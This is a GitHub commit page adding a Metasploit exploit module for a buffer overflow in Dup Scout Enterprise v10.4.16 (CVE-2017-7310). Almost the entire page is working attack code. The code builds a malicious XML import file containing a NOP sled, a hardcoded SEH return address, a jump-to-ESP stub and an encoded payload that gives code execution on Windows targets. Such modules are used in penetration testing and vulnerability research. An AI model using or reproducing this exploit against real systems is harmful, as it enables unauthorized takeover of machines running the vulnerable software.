Skip to content

Commit 4cd5801

Browse files
Dup Scout Import Command Buffer Overflow
1 parent c1ff0c1 commit 4cd5801

File tree

1 file changed

+71
-0
lines changed

1 file changed

+71
-0
lines changed
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = NormalRanking
8+
9+
include Msf::Exploit::FILEFORMAT
10+
include Msf::Exploit::Remote::Seh
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow',
15+
'Description' => %q(
16+
This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16
17+
by using the import command option to import a specially crafted xml file.
18+
),
19+
'License' => MSF_LICENSE,
20+
'Author' =>
21+
[
22+
'Daniel Teixeira'
23+
],
24+
'References' =>
25+
[
26+
[ 'CVE', '2017-7310' ]
27+
],
28+
'DefaultOptions' =>
29+
{
30+
'EXITFUNC' => 'seh',
31+
'DisablePayloadHandler' => 'true'
32+
},
33+
'Platform' => 'win',
34+
'Payload' =>
35+
{
36+
'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
37+
'StackAdjustment' => -3500
38+
},
39+
'Targets' =>
40+
[
41+
['Windows Universal', { 'Ret' => 0x651BB77A } ]
42+
],
43+
'Privileged' => false,
44+
'DisclosureDate' => 'Mar 29 2017',
45+
'DefaultTarget' => 0))
46+
47+
register_options(
48+
[
49+
OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
50+
])
51+
end
52+
53+
def exploit
54+
esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
55+
jmp = "\xFF\xE0" # JMP ESP
56+
57+
buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
58+
buffer << "\x90" * 1560
59+
buffer << [target.ret].pack('V')
60+
buffer << "\x90" * 16
61+
buffer << esp
62+
buffer << jmp
63+
buffer << "\x90" * 70
64+
buffer << payload.encoded
65+
buffer << "\x90" * 5000
66+
buffer << "\n</classify>"
67+
68+
print_status("Creating '#{datastore['FILENAME']}' file ...")
69+
file_create(buffer)
70+
end
71+
end

0 commit comments

Comments
 (0)